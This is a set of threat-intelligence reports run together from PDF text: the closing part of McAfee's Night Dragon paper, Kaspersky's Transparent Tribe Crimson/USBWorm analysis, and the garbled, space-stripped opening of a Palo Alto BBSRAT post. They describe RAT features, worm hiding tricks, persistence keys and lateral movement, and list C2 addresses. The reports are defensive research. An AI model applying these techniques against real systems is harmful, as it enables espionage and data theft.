Communication to those hostnames should be carefully scrutinized but not necessarily raise alarm on its own Company extranet servers have also been used as either unique or secondary/redundant CC servers.
In some instances, the attackers have (probably mistakenly) used droppers configured to compromise one companys computers  in another companys computers.
Additional Detection Techniques The backdoor beacons with its corresponding CC server as long as the related address is active.
If the address is abandoned or unreachable, the backdoor stops beaconing after some undetermined interval.
When a compromised computer is restarted, however, the beaconing begins again because it is registered as a service in the Windows Registry.
Anti-virus may or may not detect the Trojan unless it is beaconing or a full file system scan is performed.
McAfee Early Detection Customers can deploy a number of McAfee products to help protect information systems from the Night Dragon attack: McAfee Vulnerability Manager: Using agentless discovery and vulnerability checking to assess systems on your network, McAfee Vulnerability Manager is an enterprise-class vulnerability management system that will detect infected Night Dragon systems as well as the security weaknesses in systems that have been compromised.
The wham-apt-nightdragon-detected-v7.fasl3 script will detect this threat remotely on systems.
McAfee recommends that companies configure intrusion detection system (IDS) rules to detect the noted signatures (or employ the user-defined signature [UDS] BACKDOOR: NightDragon Communication Detected in McAfee Network Security Platform) and monitor DNS for outbound communications to dynamic DNS addresses resolving to or pathed back as suballocated to servers in China, where the companys name or common abbreviation forms the first part of the address.
This may be difficult.
However, if samples of the backdoor DLLs are found, DNS monitoring can help to identify other compromised hosts in the company network.
McAfee also recommends that companies review web or IDS logs for file transfers to addresses registered in China.
McAfee can assist with the analysis or provide instructions and tools for internal review.
12 White Paper Global Energy Cyberattacks: Night Dragon McAfee Policy Auditor: Using agent-based configuration audit checks to determine the most secure configuration of a system, McAfee Policy Auditor software detects the security weaknesses in the systems that have been compromised McAfee Risk Advisory (MRA): Properly deployed, McAfee Risk Advisor would have allowed administrators to see the misconfigurations and gap in security coverage that facilitated Night Dragons exploitation McAfee Detection Night Dragon also displays a pattern of correlated activities with an assortment of other software tools that McAfee can assist companies to identify.
McAfee VirusScan Enterprise: Update your anti-virus .DATs to at least version 6232 and ensure that on-demand scans are working properly and perform a full file system virus scan.
Review McAfee ePO software or anti-virus alerts and network logs for NightDragon signature detections to identify compromised systems.
Please submit any related samples to virus_researchmcafee.com or submit on the web at https://www.webimmune.net/default.asp.
McAfee Network Threat Response: McAfee Network Threat Response technology would have detected the malicious CC traffic and would have alerted administrators to the attack early, giving them time to react and prevent future damage Administrators can also download the following free tools from McAfee: McAfee Night Dragon Vulnerability Scanner based on McAfee Vulnerability Manager technology to scan their networks for the presence of malware McAfee Labs Stinger McAfee Prevention For complete prevention of this and most other attacks involving advanced persistent threats (APTs), customers can deploy application whitelisting and change/configuration control software on their critical servers.
These technologies completely prevent the unauthorized running of DLLs/EXEs as well as the modification of registry keys, services, and more involved in all of todays APT and zero-day attacks.
McAfee Application Control: McAfee Application Control software stops Night Dragon by not allowing the dropper files from executing (even as administrator on Windows), thereby preventing downloads of additional malware and the setup of CC channels that allowing RAT control and theft of sensitive files McAfee Configuration Control: McAfee Configuration Control software allows you to disallow any configuration changes to your systems, protecting them from being modified without explicit permission (even with administrative access) McAfee Database Activity Monitoring: delivers complete database protection including 0-day attacks and web born attacks such as those seen with SQL injection in Night Dragon.
McAfee Network Security Platform: blocks malicious network activity such as APT command and control traffic.
McAfee Enterprise Firewall: Properly installed and configured at the border and inside your organization, McAfee Firewall would have prevented the Night Dragon operation from penetrating so deeply into the affected organizations and would have blocked CC communication from the RAT McAfee Web Gateway: Properly installed and configured, McAfee Web Gateway would have prevented the Night Dragon operation from using their RATs, requiring them to proxy-enable their RATs or use alternative proxy-enabled RATs McAfee Endpoint Encryption: Properly installed and configured, McAfee Endpoint Encryption software reduces the impact of the Night Dragon attack by restricting access to the core targeted assets mailto:virus_research40mcafee.com?subject https://www.webimmune.net/default.asp http://www.mcafee.com/us/downloads/free-tools/index.aspx http://www.mcafee.com/us/products/vulnerability-manager.aspx http://www.mcafee.com/us/downloads/free-tools/how-to-use-stinger.aspx 13 White Paper Global Energy Cyberattacks: Night Dragon McAfee Data Loss Protection: Properly installed and configured, McAfee Network DLP and/or McAfee Host DLP solutions allow you to prevent and detect the extraction of sensitive information from outside the company McAfee Host Intrusion Prevention 8.0: McAfee Host Intrusion Prevention 8.0 software has introduced a new TrustedSource APT detection feature that allows enterprises to correlate endpoint executable activity with the network CC communication to detect and prevent RAT communications and data exfiltration activity McAfee VirusScan Enterprise: In addition to detecting associated malware and RATs on the endpoint, customers can also leverage access protection features in McAfee VirusScan Enterprise to prevent (and alert on) the creation of Night Dragon-related files and folder structures.
Other built-in features such infection tracing and McAfee Global Threat Intelligence can assist with the identification and quarantining or removal of new and unknown associated malware and RATs.
If you have discovered the presence of Night Dragon in your environment and would like incident-response or forensics assistance to respond and repair, please contact Foundstone Professional Services on incidentresponsefoundstone.com or submit any related samples to Virus_Researchavertlabs.com or on the web at McAfee Labs WebImmune.
Conclusion Well-coordinated, targeted attacks such as Night Dragon, orchestrated by a growing group of malicious attackers committed to their targets, are rapidly on the rise.
These targets have now moved beyond the defense industrial base, government, and military computers to include global corporate and commercial targets.
While Night Dragon attacks focused specifically on the energy sector, the tools and techniques of this kind can be highly successful when targeting any industry.
Our experience has shown that many other industries are currently vulnerable and are under continuous and persistent cyberespionage attacks of this type.
More and more, these attacks focus not on using and abusing machines within the organizations being compromised, but rather on the theft of specific data and intellectual property.
It is vital that organizations work proactively toward protecting the heart of their value: intellectual property.
Enterprises need to take action to discover these assets in their environments, assess their configurations for vulnerabilities, and protect them from misuse and attack.
For additional research and information, review Hacking Exposed: Network Secret and Solutions  6th Edition (Osborne McGraw-Hill).
You can also visit http://www.hackingexposed.com for information on advanced hacker techniques and to sign up for Hacking Exposed monthly webinars.
Credits and Acknowledgements The preceding white paper was a collaborative effort among numerous people and entities including McAfee Foundstone Professional Services consultants, McAfee Labs, McAfee employees, executives, and researchers, HBGary and National Cyber-Forensics  Training Alliance (NCFTA).
Significant contributors include Shane Shook, Dmitri Alperovitch, Stuart McClure, Georg Wicherski, Greg Hoglund, Shawn Bracken, Ryan Permeh, Vitaly Zaytsev, Mark Gilbert, Mike Spohn, George Kurtz, and Adam Meyers.
mailto:incidentresponse40foundstone.com?subject mailto:Virus_Research40avertlabs.com?subject https://www.webimmune.net/default.asp http://www.hackingexposed.com 14 White Paper Global Energy Cyberattacks: Night Dragon Appendix A: zwShell  the RAT Below is a walk-through of the capabilities of zwShell and a demonstration of how the attackers used zwShell as a command and control server to exfiltrate data from within the targeted companies.
1.
When zwShell is launched, it presents a fake crash error to the user and contains a hidden text entry field below the Write of address 00000000.
Process stopped line.
By entering the password in the hidden dialog box above the ok button to launch the application requires typing a special password, zw.china.
Without that password, the tool will not start.
This obfuscation method is likely used to confuse investigators about the true purpose of this executable.
2.
Once the error is bypassed, and zwShell is launched, it allows the attacker to create a custom Trojan by selecting the Server menu or to launch the CC server by clicking Start and entering the port to listen for traffic with the password used by the backdoor DLLs.
Once started, the application will begin listening for incoming compromised client connections and display them inside the grid.
The attacker can launch as many instances of the zwShell application as required  as long as each listens to a different port or password.
In this manner, multiple networks of compromised computers can be monitored.
3.
The attacker can also click on the Options menu to configure the CC server settings.
Those settings include selection of the listening port, the password that will encrypt the CC traffic (which must match the password selected at the time of the Trojan generation), the ability to specify custom sound notifications for when infected machines connect and disconnect from the CC server, and the ability to increase the color depth used for remote access to the machine, as well as an optional capability to allow resumes of interrupted file transfers from the client machine.
The attacker can stop the listener and start with new options to monitor or connect with other compromised computers.
15 White Paper Global Energy Cyberattacks: Night Dragon 5.
The dropper will be copied over network shares to the compromised computer and remotely execute with psexec or via Windows Terminal Services (RDP).
In some cases, an AT.job or SchTasks entry will be used to execute the dropper over the network on the compromised computer.
When executed, the dropper will create a temporary file and extract a RAT DLL that will be launched as a persistent Windows service.
The RAT will then immediately send a beacon on the configured port to the designated CC server and wait for instructions.
The dropper will automatically delete itself after the backdoor service is created, and the temporary file will be deleted when the system is rebooted.
An entry will be created in the Windows Update logs (KB.log) in the C:\Windows directory with the date and time and pathname of the temporary file.
4.
The attacker can specify the password (which must match the password set up for the server in Step 3), the name and path to the RAT DLL that will be injected into the svchost.exe Windows services process, the service and mutex names, and service displayed name and description.
The attacker can also specify up to two CC hostnames or IP address, port address, and dropper EXE process icon.
Once the Create button is clicked, zwShell will generate a custom EXE dropper process which, when executed, will delete itself and extract a RAT DLL that will be launched as a persistent Windows service.
The RAT will then immediately send a beacon on the configured port to the designated CC server and wait for instructions.
16 White Paper Global Energy Cyberattacks: Night Dragon 6.
When a client is executed, it connects to the attackers zwShell interface, along with its IP address, PC name, name of the logged-in user, and information about the operating system (OS) version of the machine, including the major patch levels.
7.
The attacker in charge of the CC server can establish full remote control of the connected machine and can browse the file system, launch command-line shells, manipulate the registry, view the remote desktop, and uninstall the Trojan from the client.
8.
Browsing the client file system is a fully interactive process and has a familiar user interface similar to Windows Explorer.
Individual files and folders can be deleted, renamed, copied, downloaded, and uploaded to the remote machine.
17 White Paper Global Energy Cyberattacks: Night Dragon 9.
A remote command-line shell can be launched to execute commands directly on the remote machine.
When the attacker uses this function, a copy of CMD.EXE is copied to the compromised system in a Windows Temp directory with the filename svchost.exe.
This copy is an unmodified version of the Microsoft Windows command shell executable.
10.
The Registry can also be viewed and edited in a user interface similar to the Windows Registry editor.
18 White Paper Global Energy Cyberattacks: Night Dragon Appendix B: Attribution IMPORTANT: McAfee has no direct evidence to name the originators of these attacks but rather has provided circumstantial evidence.
While we believe many actors have participated in these attacks, we have been able to identify one individual who has provided the crucial CC infrastructure to the attackers  this individual is based in Heze City, Shandong Province, China.
Although we dont believe this individual is the mastermind behind these attacks, it is likely this person is aware or has information that can help identify at least some of the individuals, groups, or organizations responsible for these intrusions.
The individual runs a company that, according to the companys advertisements, provides Hosted Servers in the U.S. with no records kept for as little as 68 RMB (US10) per year for 100 MB of space.
The companys U.S.-based leased servers have been used to host the zwShell CC application that controlled machines across the victim companies.
Beyond the connection to the hosting services reseller operation, there is other evidence indicating that the attackers were of Chinese origin.
Beyond the curious use of the zw.china password that unlocks the operation of the zwShell CC Trojan, McAfee has determined that all of the identified data exfiltration activity occurred from Beijing-based IP addresses and operated inside the victim companies weekdays from 9:00 a.m. to 5:00 p.m. Beijing time, which also suggests that the involved individuals were company men working on a regular job, rather than freelance or unprofessional hackers.
In addition, the attackers employed hacking tools of Chinese origin and that are prevalent on Chinese underground hacking forums.
These included Hookmsgina and WinlogonHack, tools that intercept Windows logon requests and hijack usernames and passwords.
Figure 6.
Shandong Province, China The information in this document is provided only for educational purposes and for the convenience of McAfee customers.
The information contained herein is subject to change without notice, and is provided as is, without guarantee or warranty as to the accuracy or applicability of the information to any specific situation or circumstance.
McAfee, the McAfee logo, McAfee Labs, McAfee Foundstone, McAfee ePolicy Orchestrator, McAfee ePO, McAfee Global Threat Intelligence, and McAfee VirusScan Enterprise are registered trademarks or trademarks of McAfee or its subsidiaries in the United States and other countries.
Other marks and brands may be claimed as the property of others.
Copyright  2011 McAfee 21401wp_night-dragon_0211 McAfee, Inc. 2821 Mission College Boulevard Santa Clara, CA 95054 888 847 8766 www.mcafee.com White Paper Global Energy Cyberattacks: Night Dragon On the compromised web server, they also deployed ASPXSpy, a web-based remote administration tool, also of Chinese origin.
There is nothing to suggest that the developers of these tools had any direct connection to these intrusions, as the tools are widely available on the Chinese web forums and tend to be used extensively by Chinese hacker groups.
Although it is possible that all of these indicators are an elaborate red-herring operation designed to pin the blame for the attacks on Chinese hackers, we believe this to be highly unlikely.
Further, it is unclear who would have the motivation to go to these extraordinary lengths to place the blame for these attacks on someone else.
We have strong evidence suggesting that the attackers were based in China.
Figure 7.
Instructions on the use of WinlogonHack tool by its Chinese developers.
Figure 8.
Parts of the ASPXSpy code with attribution to the Chinese developer.
Giampaolo Dedola Transparent Tribe: Evolution analysis, part 1 securelist.com/transparent-tribe-part-1/98127 Background and key findings Transparent Tribe, also known as PROJECTM and MYTHIC LEOPARD, is a highly prolific group whose activities can be traced as far back as 2013.
Proofpoint published a very good article about them in 2016, and since that day, we have kept an eye on the group.
We have periodically reported their activities through our APT threat intelligence reports, and subscribers of that service already know that in the last four years, this APT group has never taken time off.
They continue to hit their targets, which typically are Indian military and government personnel.
The TTPs have remained consistent over the years, and the group has constantly used certain tools and created new programs for specific campaigns.
Their favorite infection vector is malicious documents with an embedded macro, which seem to be generated with a custom builder.
Their main malware is a custom .NET RAT publicly known as Crimson RAT, but over the years, we also have observed the use of other custom .NET malware and a Python-based RAT known as Peppy.
Over the past year, we have seen this group undergo an evolution, stepping up its activities, starting massive infection campaigns, developing new tools and strengthening their focus on Afghanistan.
The summary of our recent investigations will be described in two blogposts.
This first publication will cover the following key points: 1/17 https://securelist.com/transparent-tribe-part-1/98127/ https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101103/sl_transparent_tribe_01.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101157/sl_transparent_tribe_02.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101240/sl_transparent_tribe_03.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101354/sl_transparent_tribe_04.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101446/sl_transparent_tribe_05.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101523/sl_transparent_tribe_06.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19101940/sl_transparent_tribe_09.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102019/sl_transparent_tribe_10.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102103/sl_transparent_tribe_11.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102230/sl_transparent_tribe_12.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102320/sl_transparent_tribe_13.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19102406/sl_transparent_tribe_14.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105001/sl_transparent_tribe_15.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105104/sl_transparent_tribe_16.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105632/sl_transparent_tribe_19.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105713/sl_transparent_tribe_20.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19105812/sl_transparent_tribe_21.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/19110018/sl_transparent_tribe_22.png We discovered the Crimson Server component, the C2 used by Transparent Tribe for managing infected machines and conducting espionage.
This tool confirmed most of our observations on Crimson RAT and helped us to understand the attackers perspective.
Transparent Tribe continues to spread Crimson RAT, infecting a large number of victims in multiple countries, mainly India and Afghanistan.
The USBWorm component is real, and it has been detected on hundreds of systems.
This is malware whose existence was already speculated about years ago, but as far as we know, it has never been publicly described.
I will be talking more about the TransparentTribe and its tools on GReAT Ideas.
Powered by SAS webinar on August 26, you can register for it here: https://kas.pr/1gk9 Crimson Server Crimson is the main tool used by Transparent Tribe for their espionage activities.
The tool is composed of various components, which are used by the attacker for performing multiple activities on infected machines: manage remote filesystems upload or download files capture screenshots perform audio surveillance using microphones record video streams from webcam devices capture screenshots steal files from removable media execute arbitrary commands record keystrokes steal passwords saved in browsers spread across systems by infecting removable media In the course of our analysis, we spotted a .NET file, identified by our products as Crimson RAT, but a closer look revealed that it was something different: a server-side implant used by the attackers to manage the client components.
We found two different server versions, the one being a version that we named A, compiled in 2017, 2018 and 2019, and including a feature for installing the USBWorm component and executing commands on remote machines.
The version that we named B was compiled in 2018 and again at the end of 2019.
The existence of two versions confirms that this software is still under development and the APT group is working to enhance it.
By analysing the .NET binary, we were able to set up a working environment and communicate with samples previously detected on victims machines.
2/17 https://kas.pr/1gk9 Crimson Server version A Main panel The first window is the main panel, which provides a list of infected machines and shows basic information about the victims systems.
Server main panel Geolocation information is retrieved from a legitimate website using a remote IP address as the input.
The URL used by the server is: http://ip-api.com/xml/ip At the top, there is a toolbar that can be used for managing the server or starting some actions on the selected bot.
At the bottom, there is an output console with a list of actions performed by the server in the background.
It will display, for example, information about received and sent commands.
The server uses an embedded configuration specified inside a class named settings.
Example of embedded configuration The class contains TCP port values, default file names and installation paths used by each malware component.
The server does not include any features to build the other components they need to be manually placed in specific predefined folders.
For example, based on the configuration displayed in the picture above, the msclient must be placed in .\tmps\rfaiwaus.exe.
3/17 This leads us to conclude that the resulting server file was generated by another builder, which created the executable files, directories and the other files used by the application.
Bot panel The main features are accessible from the bot panel, an interface with twelve tabs, which can be used to manage a remote system and collect information.
Update module The first tab is used for checking the client configuration, uploading Crimson components and executing these on remote system.
Update modules tab The Crimson framework is composed of seven client components: Thin Client - a tiny version of the RAT used for recognizing the victim.
The thin client is the most common one it is usually dropped during the infection process by which Transparent Tribe is distributed and is most commonly found on OSINT resources.
It contains a limited number of features and can typically be used to: collect information about infected system collect screenshots manage the remote filesystem download and upload files get a process list kill a process execute a file 4/17 Main Client - the full-featured RAT.
It can handle all Thin Client features, but it can also be used to: install the other malware components capture webcam images eavesdrop using a computer microphone send messages to the victim execute commands with COMSPEC and receive the output.
USB Driver - a USB module component designed for stealing files from removable drives attached to infected systems.
USB Worm - this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the Thin Client component from a remote Crimson server.
Pass Logger - a credential stealer, used for stealing credentials stored in the Chrome, Firefox and Opera browsers.
KeyLogger - this is simple malware used for recording keystrokes.
Remover - this cannot be pushed using the Update module tab, but it can be uploaded to an infected machine automatically using the Delete User button.
Unfortunately, we did not acquire that component and we cannot provide a description of it.
Interestingly, Transparent Tribe tries to circumvent certain vendors security tools by configuring the Server to prevent installation of some of the malware components, specifically the USB Driver and the Pass Logger, on systems protected with Kaspersky products.
They also prevent installation of the Pass Logger on systems protected by ESET.
Snippet of code that prevents installation of certain components on systems protected by Kaspersky products File Manager  Auto Download tabs 5/17 The file manager allows the attacker to explore the remote file system, execute programs, download, upload and delete files.
File manager tab Most of the buttons are self-explanatory.
The most interesting ones are USB Drive and Delete USB, used for accessing data stolen by the USB Driver and USB Worm components and the Auto File Download feature.
This feature opens another window, which can also be accessed via the second last tab.
It allows the attacker to configure the bot to search files, filter results and upload multiple files.
Auto download tab 6/17 Screen and Webcam monitoring tabs These tabs are used for managing two simple and powerful features.
The first one is designed for monitoring the remote screen and checking what the user is doing on their system.
The second one can be used for spying on a remote webcam and performing video surveillance.
The attacker can retrieve a single screenshot or start a loop that forces the bot to continuously send screenshots to the server, generating a live stream of sorts.
The attacker can also configure the RAT component to record the images on the remote system.
Other tabs The other tabs are used for managing the following features: Audio surveillance: The malware uses the NAudio library to interact with the microphone and manage the audio stream.
The library is stored server-side and pushed to the victims machine using a special command.
Send message: The attacker can send messages to victims.
The bot will display the messages using a standard message box.
Keylogger: Collects keyboard data.
The log includes the process name used by the victim, and keystrokes.
The attacker can save the data or clear the remote cache.
Password Logger: The malware includes a feature to steal browser credentials.
The theft is performed by a specific component that enumerates credentials saved in various browsers.
For each entry, it saves the website URL, the username and the password.
Process manager: The attacker can obtain a list of running processes and terminate these by using a specific button.
Command execution: This tab allows the attacker to execute arbitrary commands on the remote machine.
Crimson Server version B The other version is quite similar to the previous one.
Most noticeably, in this B version, the graphical user interface is different.
Main toolbar version B Update USB Worm is missing from the Update Bot tab, which means that the USB Worm feature is not available in these versions.
7/17 Update modules tab, version B This version does not include the check that prevents installation of certain components on systems protected with Kaspersky products, and the Command execution tab is missing.
At the same position, we find a different tab, used for saving comments about the infected machine.
Notes USBWorm Last January, we started investigating an ongoing campaign launched by Transparent Tribe to distribute the Crimson malware.
The attacks started with malicious Microsoft Office documents, which were sent to victims using spear-phishing emails.
8/17 Decoy document used in an attack against Indian entities The documents typically have malicious VBA code embedded, and sometimes protected with a password, configured to drop an encoded ZIP file which contains a malicious payload.
9/17 User form with encoded payloads The macro drops the ZIP file into a new directory created under ALLUSERPROFILE and extracts the archive contents at the same location.
The directory name can be different, depending on the sample: ALLUSERSPROFILE\Media-List\tbvrarthsa.zip ALLUSERSPROFILE\Media-List\tbvrarthsa.exe 10/17 Snippet of VBA code The executable file is the Crimson Thin Client, which allows the attacker to gain basic information about the infected machine, collect screenshots, manipulate the file system and download or upload arbitrary files.
During our analysis, we noticed an interesting sample connected to a Crimson C2 server.
This sample was related to multiple detections, all of these having different file names and most of them generated from removable devices.
One of the file path name combinations observed was C:\ProgramData\Dacr\macrse.exe, also configured in a Crimson Main Client sample and used for saving the payload received from the C2 when invoking the usbwrm command.
11/17 USBWorm file construction function We concluded that this sample was the USBWorm component mentioned by Proofpoint in its analysis of the malware.
Based on previous research, we knew that this RAT was able to deploy a module to infect USB devices, but as far as we know, it had never been publicly described.
USB Worm description Our analysis has revealed that USBWorm is much more than a USB infector.
In fact, it can be used by the attacker to: download and execute the Crimson Thin Client infect removable devices with a copy of USBWorm itself steal files of interest from removable devices (i.e.
USB Stealer) By default, the program behaves as a downloader, infector and USB stealer.
Usually, the component is installed by the Crimson Main Client, and when started, it checks if its execution path is the one specified in the embedded configuration and if the system is already infected with a Crimson client component.
If these conditions are met, it will start to monitor removable media, and for each of these, the malware will try to infect the device and steal files of interest.
The infection procedure lists all directories.
Then, for each directory, it creates a copy of itself in the drive root directory using the same directory name and changing the directory attribute to hidden.
This results in all the actual directories being hidden and replaced 12/17 with a copy of the malware using the same directory name.
Moreover, USBWorm uses an icon that mimics a Windows directory, tricking the user into executing the malware when trying to access a directory.
USBWorm icon This simple trick works very well on default Microsoft Windows installations, where file extensions are hidden and hidden files are not visible.
The victim will execute the worm every time he tries to access a directory.
Moreover, the malware does not delete the real directories and executes explorer.exe when started, providing the hidden directory path as argument.
The command will open the Explorer window as expected by the user.
The data theft procedure lists all files stored on the device and copies those with an extension matching a predefined list: File extensions of interest: .pdf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt If the file is of interest, i.e.
if the file extension is on the predefined list, the procedure checks if a file with the same name already has been stolen.
The malware has a text file with a list of stolen files, which is stored in the malware directory under a name specified in the embedded configuration.
Of course, this approach is a little buggy, because if the worm finds two different files with the same name, it will steal only the first one.
Anyway, if the file is of interest and is not on the list of stolen files, it will be copied from the USB to a local directory usually named data or udata, although the name could be different.
If the worm is executed from removable media, the behavior is different.
In this case, it will check if the Thin Client or the Main Client is running on the system.
If the system is not infected, it will connect to a remote Crimson Server and try to use a specific USBW command to download and execute the Thin Client component.
13/17 Snippet of code used to build USBW request The persistence is guaranteed by a method that is called when the program is closing.
It checks if the malware directory exists as specified in an embedded configuration and then copies the malware executable inside it.
It also creates a registry key under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to execute the worm automatically.
USB Worm distribution During our investigation, we found around two hundred distinct samples related to Transparent Tribe Crimson components.
We used the Kaspersky Security Network (KSN) to collect some statistics about the victims.
Considering all components detected between June 2019 and June 2020, we found more than one thousand distinct victims distributed across twenty-seven countries.
14/17 Crimson distribution map Most of the detections were related to the USB Worm components and in most of the countries, the number of events was very low.
Crimson detections  USBWorm vs other components If we check victims compromised with the other client components, we can find the real targets.
Top five infected countries from June 2019 to June 2020  USBWorm excluded 15/17 The graph includes the highest number of distinct victims, and it shows that Transparent Tribe maintained a strong focus on Afghanistan during the final part of 2019 and then started to focus again on Indian users during 2020.
We may speculate that detections in other countries may be related to entities related to main targets, such as personnel of embassies.
Conclusions Transparent Tribe continues to show high activity against multiple targets.
In the last twelve months, we observed a broad campaign against military and diplomatic targets, using extensive infrastructure to support their operations and continuous improvements in their arsenal.
The group continue to invest in their main RAT, Crimson, to perform intelligence activities and spy on sensitive targets.
We do not expect any slowdown from this group in the near future and we will continue to monitor their activities.
IoC The followings IOC list is not complete.
If you want more information about the APT discussed here, as well as a full IOC list, and YARA rules are available to customers of Kaspersky Threat Intelligence Reports.
Contact: intelreportskaspersky.com 5158C5C17862225A86C8A4F36F054AE2  Excel document  NHQ_Notice_File.xls D2C407C07CB5DC103CD112804455C0DE  Zip archive  tbvrarthsa.zip 76CA942050A9AA7E676A8D553AEB1F37  Zip archive  ulhtagnias.zip 08745568FE3BC42564A9FABD2A9D189F  Crimson Server Version A 03DCD4A7B5FC1BAEE75F9421DC8D876F  Crimson Server Version B 075A74BA1D3A5A693EE5E3DD931E1B56  Crimson Keylogger 1CD5C260ED50F402646F88C1414ADB16  Crimson Keylogger CAC1FFC1A967CD428859BB8BE2E73C22  Crimson Thin Client E7B32B1145EC9E2D55FDB1113F7EEE87  Crimson Thin Client F5375CBC0E6E8BF10E1B8012E943FED5  Crimson Main Client 4B733E7A78EBD2F7E5306F39704A86FD  Crimson Main Client 140D0169E302F5B5FB4BB3633D09B48F  Crimson USB Driver 9DD4A62FE9513E925EF6B6D795B85806  Crimson USB Driver 1ED98F70F618097B06E6714269E2A76F  Crimson USB Worm F219B1CDE498F0A02315F69587960A18  Crimson USB Worm 64.188.25.206  Crimson C2 173.212.192.229  Crimson C2 45.77.246.69  Crimson C2 16/17 mailto:intelreportskaspersky.com newsbizupdates.net  Crimson C2 173.249.22.30  Crimson C2 uronlinestores.net  Crimson C2 17/17 Transparent Tribe: Evolution analysis, part 1 Background and key findings Crimson Server Crimson Server version A Main panel Bot panel Crimson Server version B USBWorm USB Worm description USB Worm distribution Conclusions IoC
4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 1/12 Home BlogHome Applipedia ThreatVault Reports Tools English 1.866.320.4788 Support Resources Research Search  Search Tweet 5 BBSRATAttacksTargetingRussianOrganizationsLinkedto RoamingTiger postedby:BryanLeeandJoshGrunzweigonDecember22,20155:00PM filedin:Malware,Unit42 tagged:AutoFocus,BBSRAT,MicrosoftOffice,PlugX,RoamingTiger Inlate2014,ESETpresentedanattackcampaignthathadbeenobservedoveraperiodoftimetargetingRussiaandother Russianspeakingnations,dubbedRoamingTiger.
TheattackwasfoundtoheavilyrelyonRTFexploitsandatthetime,thought tomakeuseofthePlugXmalwarefamily.
ESETdidnotattributetheattackstoaparticularattackgroup,butnotedthattheobjectiveofthecampaignwasespionageand generalinformationstealing.
BasedondatacollectedfromPaloAltoNetworksAutoFocusthreatintelligence,wediscovered continuedoperationsofactivityverysimilartotheRoamingTigerattackcampaignthatbeganintheAugust2015timeframe,witha concentrationofattacksinlateOctoberandcontinuingintoDecember.
TheadversariesbehindtheseattackscontinuedtotargetRussiaandotherRussianspeakingnationsusingsimilarexploitsand attackvectors.
However,whilethemalwareusedinthesenewattacksusessimilarinfectionmechanismstoPlugX,itisa completelynewtoolwithitsownspecificbehaviorpatternsandarchitecture.
WehavenamedthistoolBBSRAT.
TargetingandInfrastructure AsdescribedinearlierreportsonRoamingTiger,theattackobservedinAugust2015usedweaponizedexploitdocumentsthat leaveRussianlanguagedecoydocumentfilesafterinfectingthesystem.
ThefilesexploitthewellknownMicrosoftOffice vulnerability,CVE20120158,toexecutemaliciouscodeinordertotakecontrolofthetargetedsystems.
36 Like http://paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/ http://applipedia.paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/threat-vault/ https://www.paloaltonetworks.com/resources/research.html http://researchcenter.paloaltonetworks.com/tools/ https://support.paloaltonetworks.com/ https://www.paloaltonetworks.com/resources.html http://researchcenter.paloaltonetworks.com/ https://twitter.com/intent/tweet?original_refererhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20152F122Fbbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger2Fref_srctwsrc5EtfwtextBBSRAT20Attacks20Targeting20Russian20Organizations20Linked20to20Roaming20Tigertw_ptweetbuttonurlhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20152F122Fbbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger2FviaPaloAltoNtwks http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ http://researchcenter.paloaltonetworks.com/author/bryan-lee/ http://researchcenter.paloaltonetworks.com/author/josh-grunzweig/ http://researchcenter.paloaltonetworks.com/malware-2/ http://researchcenter.paloaltonetworks.com/unit42/ http://researchcenter.paloaltonetworks.com/tag/autofocus/ http://researchcenter.paloaltonetworks.com/tag/bbsrat/ http://researchcenter.paloaltonetworks.com/tag/microsoft-office/ http://researchcenter.paloaltonetworks.com/tag/plugx/ http://researchcenter.paloaltonetworks.com/tag/roaming-tiger/ http://2014.zeronights.org/assets/files/slides/roaming_tiger_zeronights_2014.pdf https://www.paloaltonetworks.com/products/platforms/subscriptions/autofocus.html 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 2/12 Figure1SpearphishingemaildeliveringBBSRAT Inonecase,theadversaryimpersonatedanindividualfromtheorganizationVigstar,aRussianbasedresearchorganizationin chargeofthedevelopmentofsatellitecommunicationsandspecialpurposewirelessdevicesfortheRussianFederationsdefense andsecurityagencies.
ThetargetedemailaddressappearedtobeaGmailaccountassociatedwithVigstaraswell,andwas foundonajobboardwebsiteforajobopeningatVigstar.
Theroughtranslationofthebodyoftheemailisasfollows: Isendyoualistofinternationalexhibitionsofmilitary,civilanddualpurpose,conductedin2015ontheterritoryoftheRussian Federationandforeignstates.
